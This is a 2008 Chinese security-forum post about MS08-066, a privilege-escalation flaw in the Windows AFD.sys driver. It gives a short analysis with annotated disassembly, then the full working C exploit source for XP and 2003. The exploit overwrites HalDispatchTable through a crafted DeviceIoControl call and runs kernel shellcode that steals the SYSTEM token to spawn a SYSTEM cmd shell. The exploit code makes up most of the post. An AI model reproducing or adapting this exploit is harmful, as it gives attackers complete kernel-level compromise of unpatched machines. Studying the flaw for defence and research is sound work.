首页
社区
课程
招聘
[原创]MS08-066 Microsoft Ancillary Function Driver Elevation of Privilege exploit
发表于: 2008-10-17 11:36 6552

[原创]MS08-066 Microsoft Ancillary Function Driver Elevation of Privilege exploit

2008-10-17 11:36
6552

from cc7K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2A6i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6$3k6i4y4K6K9h3q4D9

这个漏洞跟MS08-025类似,由于ProbeForWrite对0字节长度地址不作检测,造成可以写任何地址,
SWI已经对此作了比较详细的说明,大家可以看这儿
cbfK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3u0D9L8$3N6K6i4K6u0W2N6r3g2U0K9r3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8Y4y4%4K9g2)9J5c8X3q4J5j5$3S2A6N6X3g2Q4x3V1j5J5x3o6l9^5i4K6u0r3x3e0m8Q4x3V1j5I4y4q4)9J5c8X3#2K6x3o6S2Q4x3X3b7H3y4U0k6Q4x3X3c8Z5L8%4N6Q4x3X3c8@1L8#2)9J5k6r3y4G2M7Y4u0W2j5%4c8D9P5g2)9J5k6s2k6S2L8r3W2V1j5i4c8W2i4K6u0V1j5h3&6V1i4K6u0V1j5$3q4H3N6s2g2J5k6g2)9J5k6s2g2K6k6i4u0Q4x3X3c8E0L8$3c8W2i4K6u0V1k6r3q4@1j5g2)9J5k6h3q4K6M7s2R3`.
简单描述这个漏洞
PAGE:000174C3 ; int __stdcall AfdGetRemoteAddress(int, int, char, int, int, PVOID Address, SIZE_T Length, int)
PAGE:000174C3 _AfdGetRemoteAddress@32 proc near       ; DATA XREF: .data:0001432C o
PAGE:000174C3
PAGE:000174C3 var_24          = dword ptr -24h
PAGE:000174C3 var_20          = dword ptr -20h
PAGE:000174C3 var_1C          = dword ptr -1Ch
PAGE:000174C3 ms_exc          = CPPEH_RECORD ptr -18h
PAGE:000174C3 arg_0           = dword ptr 8
PAGE:000174C3 arg_8           = byte ptr 10h
PAGE:000174C3 Address         = dword ptr 1Ch
PAGE:000174C3 Length          = dword ptr 20h
PAGE:000174C3 arg_1C          = dword ptr 24h
PAGE:000174C3
PAGE:000174C3 ; FUNCTION CHUNK AT PAGE:00018F79 SIZE 0000000C BYTES
PAGE:000174C3
PAGE:000174C3                 push    14h
PAGE:000174C5                 push    offset stru_137E0
PAGE:000174CA                 call    __SEH_prolog
PAGE:000174CF                 mov     eax, [ebp+arg_0]
PAGE:000174D2                 mov     ebx, [eax+0Ch]
PAGE:000174D5                 mov     [ebp+var_24], ebx
PAGE:000174D8                 xor     esi, esi
PAGE:000174DA                 mov     eax, [ebp+arg_1C]
PAGE:000174DD                 mov     [eax], esi
PAGE:000174DF                 push    ebx
PAGE:000174E0                 call    _AfdLockEndpointContext@4 ; AfdLockEndpointContext(x)
PAGE:000174E5                 mov     [ebp+var_20], eax
PAGE:000174E8                 cmp     eax, esi
PAGE:000174EA                 jz      short loc_1756A
PAGE:000174EC                 cmp     word ptr [ebx], 0AFD2h
PAGE:000174F1                 jnz     short loc_1756A
PAGE:000174F3                 cmp     byte ptr [ebx+2], 3
PAGE:000174F7                 jnz     short loc_1756A
PAGE:000174F9                 movzx   eax, word ptr [ebx+5Ah]
PAGE:000174FD                 movzx   ecx, word ptr [ebx+58h]
PAGE:00017501                 add     ecx, eax
PAGE:00017503                 cmp     ecx, [ebx+74h]
PAGE:00017506                 ja      short loc_1756A
PAGE:00017508                 cmp     [ebp+Length], eax/
PAGE:0001750B                 jb      loc_18F79
PAGE:00017511                 mov     [ebp+Length], eax
PAGE:00017514                 mov     [ebp+var_1C], esi
PAGE:00017517
PAGE:00017517 loc_17517:                              ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+1ABD j
PAGE:00017517                 mov     [ebp+ms_exc.disabled], esi
PAGE:0001751A                 cmp     [ebp+arg_8], 0
PAGE:0001751E                 jz      short loc_1752E
PAGE:00017520                 push    1               ; Alignment //Length为Outbuffer的长度
PAGE:00017522                 push    [ebp+Length]    ; Length //当这个长度为0时,对下面的地址不作检测
PAGE:00017525                 push    [ebp+Address]   ; Address//因为这个地址可以我们手动构造,然后可写
PAGE:00017528                 call    ds:__imp__ProbeForWrite@12 ; ProbeForWrite(x,x,x)
PAGE:0001752E
PAGE:0001752E loc_1752E:                              ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+5B j
PAGE:0001752E                 movzx   ecx, word ptr [ebx+5Ah]
PAGE:00017532                 movzx   esi, word ptr [ebx+58h]
PAGE:00017536                 add     esi, [ebp+var_20]
PAGE:00017539                 mov     edi, [ebp+Address]
PAGE:0001753C                 mov     eax, ecx
PAGE:0001753E                 shr     ecx, 2
PAGE:00017541                 rep movsd
PAGE:00017543                 mov     ecx, eax
PAGE:00017545                 and     ecx, 3
PAGE:00017548                 rep movsb
PAGE:0001754A                 mov     eax, [ebx+74h]
PAGE:0001754D                 mov     ecx, [ebp+arg_1C]
PAGE:00017550                 mov     [ecx], eax
PAGE:00017552                 or      [ebp+ms_exc.disabled], 0FFFFFFFFh
PAGE:00017556
PAGE:00017556 loc_17556:                              ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+AE j
PAGE:00017556                                         ; sub_18F9C+A j
PAGE:00017556                 push    [ebp+var_20]
PAGE:00017559                 push    ebx
PAGE:0001755A                 call    _AfdUnlockEndpointContext@8 ; AfdUnlockEndpointContext(x,x)
PAGE:0001755F                 mov     eax, [ebp+var_1C]
PAGE:00017562                 call    __SEH_epilog

exploit 代码如下
运行后会得到了一个cmd的system权限的shell
///////////////////////////////////////////////////////
///////////////////////////////////////////////////////
////   
////    Microsoft Windows AFD.sys MS08-066
////    Privilege Escalation Exploit XP & 2003
////    ---------------------------------------------
////    This code can only be used for personal study
////    and research purposes on odd days.
////    ---------------------------------------------

#include <stdio.h>
#include <Winsock2.h>
#include <ntsecapi.h>

#pragma comment (lib, "ws2_32.lib")

#define AFD_GET_REMOTE_ADDRESS 0x1203f

typedef enum _KPROFILE_SOURCE {

    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum

} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef DWORD (WINAPI *PNTQUERYINTERVAL)( KPROFILE_SOURCE ProfileSource,
                                           PULONG          Interval );

typedef NTSTATUS (WINAPI *PNTALLOCATE)(    IN HANDLE               ProcessHandle,
                                        IN OUT PVOID            *BaseAddress,
                                        IN ULONG                ZeroBits,
                                        IN OUT PULONG           RegionSize,
                                        IN ULONG                AllocationType,
                                        IN ULONG                Protect );

int Callback_Overview()
{
    printf("\n");
    printf("=================================================    \n");
    printf("    Microsoft Windows AFD.sys (MS08-066)        \n");
    printf("        Privilege Escalation Exploit    \n");
    printf("    XP && 2003\n");
    printf("=================================================    \n");
    printf(" Orginal Author Ruben Santamarta\n\n");
    printf(" Modified by vessial\n\n");
    printf("+ References:\n");
    printf(" b80K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3#2A6j5%4u0G2M7$3!0X3N6q4)9J5k6h3y4G2L8g2)9J5c8Y4c8W2j5$3S2F1k6i4c8Q4x3V1k6K6k6h3y4#2M7X3W2@1P5g2)9J5c8X3u0#2L8r3I4W2N6r3W2F1i4K6u0r3L8i4x3H3z5q4)9J5k6r3!0U0N6q4)9J5k6h3#2K6M7s2S2Q4y4f1y4F1");
    printf(" 3f4K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4u0W2N6X3g2J5M7$3g2E0L8$3c8W2i4K6u0W2j5$3!0E0i4K6g2o6L8W2)9#2b7$3^5`.");
    printf(" hi.baidu.com/vessial\n\n");
    return 1;
}

OSVERSIONINFOEX OsVersionInfo;

_declspec(naked) int ShellCode()
{

    if ( OsVersionInfo.dwMinorVersion == 1 ) {

        __asm {

            nop
                nop
                nop
                nop
                nop
                nop

                mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
                Mov eax,[eax]

                mov esi,[eax+0x220]
                mov eax,esi

searchXp:

                mov eax,[eax+0x88]
                sub eax,0x88
                mov edx,[eax+0x84]
                cmp edx,0x4 // Find System Process
                jne searchXp

                mov eax,[eax+0xc8] // 获取system进程的token
                mov [esi+0xc8],eax // 修改当前进程的token

                ret 8

        }
    }
    if ( OsVersionInfo.dwMinorVersion == 2 ) {

        __asm {

            nop
            nop
            nop
            nop
            nop
            nop
            mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
            Mov eax,[eax]
            mov esi,[eax+0x220]
            mov eax,esi

search2003:
            mov eax,[eax+0x98]
            sub eax,0x98
            mov edx,[eax+0x94]
            cmp edx,0x4 // Find System Process
            jne search2003
            mov eax,[eax+0xd8] // 获取system进程的token
            mov [esi+0xd8],eax // 修改当前进程的token
            ret 8

        }
    }

}

unsigned char trapline[]="\x68\x00\x00\x00\x00\xc3";

int main( )
{
    PNTQUERYINTERVAL    NtQueryIntervalProfile;
    KPROFILE_SOURCE    stProfile = ProfileTotalIssues;
    PNTALLOCATE        NtAllocateVirtualMemory;
   
    WSADATA ws;
   
    SOCKET tcp_socket;
    struct sockaddr_in peer;
   
   
    char inBuff[0x40];
    char outBuff[0x40];
    char szNtos[MAX_PATH] = {0};
   
    DWORD junk ,i;
    DWORD        dwShellSize = 0x1000;

    ULONG_PTR    HalDispatchTable;
    ULONG_PTR    BaseNt = 0x804d8000; //kernel loaded address,so you can dynamic get this:),but i am a lazy guy
    ULONG_PTR    result;
    LPVOID addr = (LPVOID)0x01000000;
   

    HMODULE        hKernel;

    STARTUPINFOA                stStartup;
   PROCESS_INFORMATION            pi;
    WSAStartup(0x0202,&ws);
   
    system("cls");
    Callback_Overview();

    ///////////////// Dynamic Stuff

    RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
    OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

   if ( OsVersionInfo.dwMajorVersion != 5 ) {

       printf( "Not NT5 system\n" );
       ExitProcess( 0 );
   }

    hKernel = LoadLibraryExA("ntkrnlpa.exe",0,1);   
   
    HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel,
                                                "HalDispatchTable");

    if( !HalDispatchTable )
    {
        printf("[!!] HalDispatchTable not found\n");
        return FALSE;
    }

    HalDispatchTable -= ( ULONG_PTR )hKernel;
    HalDispatchTable += BaseNt;

    printf("[+] HalDispatchTable found    \t\t\t [ 0x%p ]\n",HalDispatchTable);
   
    printf("[+] NtQueryIntervalProfile ");

    NtQueryIntervalProfile = ( PNTQUERYINTERVAL ) GetProcAddress(GetModuleHandle("ntdll.dll"),
                                                                                    "NtQueryIntervalProfile");
    if( !NtQueryIntervalProfile )
    {
        printf("[!!] Unable to resolve NtQueryIntervalProfile\n");
        return FALSE;
    }
    printf( "\t\t\t [ 0x%p ]\n",NtQueryIntervalProfile );
   
    printf("[+] NtAllocateVirtualMemory");
    NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle(    "ntdll.dll"),
                                                                            "NtAllocateVirtualMemory");
   
    if( !NtAllocateVirtualMemory )
    {
        printf("[!!] Unable to resolve NtAllocateVirtualMemory\n");
        return FALSE;
    }

    printf( "\t\t\t [ 0x%p ]\n",NtAllocateVirtualMemory );
    printf("\n[+] Allocating memory at [ 0x%p ]...\n",addr);

    NtAllocateVirtualMemory(    INVALID_HANDLE_VALUE,
                                &addr,
                                0,
                                &dwShellSize,
                                MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                                PAGE_EXECUTE_READWRITE );

    if( (ULONG_PTR)addr != 0x01000000 )
    {
        printf("\n[!!] Error allocating memory\n");
        return 0;
    }
    memset(addr, 0x90, dwShellSize);
    memcpy((BYTE*)((BYTE*)addr+0x100), &trapline,sizeof(trapline)-1);
    *(unsigned long*)((BYTE*)addr+0x101) = (ULONG_PTR)ShellCode;
   
    memset(inBuff,0x90,sizeof(inBuff));
    memset(outBuff,0x90,sizeof(outBuff));

    peer.sin_family = AF_INET;
    peer.sin_port = htons( 0x01bd );//connecting localhost 445 port,if this port not open ,you can netstat -an your host ,which one is listen
    peer.sin_addr.s_addr = inet_addr( "127.0.0.1" ); //

    tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
   

    if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
    {
        printf("\n[!!] You should not see this! \n\n");
        exit(0);
    }

    printf("[+] Sending IOCTL...\n");

    DeviceIoControl((HANDLE)tcp_socket,
                    AFD_GET_REMOTE_ADDRESS,
                    (LPVOID)inBuff,sizeof(inBuff),
                    (LPVOID)outBuff,0,
                    &junk,
                    NULL);
    printf("\n");
    printf("[+] Received Bytes from Peer Address:\n\t-> ");
    for( i = 0; i < sizeof( peer ) ; i++)
    {
        printf(" %02X ",(unsigned char)outBuff[i]);
    }

    printf("\n\n");
   
    printf("[+] Overwriting HalDispatchTable with those bytes...");
   
    DeviceIoControl((HANDLE)tcp_socket,
                    AFD_GET_REMOTE_ADDRESS,
                    (LPVOID)inBuff,sizeof(inBuff),
                    (LPVOID)HalDispatchTable,0,
                    &junk,
                    NULL);
    printf("\n\n");

    printf("[+] Executing shellcode...");
   
    NtQueryIntervalProfile(stProfile,&result);
    GetStartupInfo( &stStartup );

   CreateProcess( NULL,
       "cmd.exe",
       NULL,
       NULL,
       TRUE,
       NULL,
       NULL,
       NULL,
       &stStartup,
       &pi );

    printf("[ OK ]\n");
   
    printf("[+] Done...\n\n");

    return TRUE;

}


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
最新回复 (2)
雪    币: 2056
活跃值: (13)
能力值: ( LV13,RANK:250 )
在线值:
发帖
回帖
粉丝
2
学习!

btw: lz的Blog不错。
2008-10-17 12:06
0
雪    币: 220
活跃值: (886)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
可惜不支持WIN2K
2015-4-11 08:26
0
游客
登录 | 注册 方可回帖
返回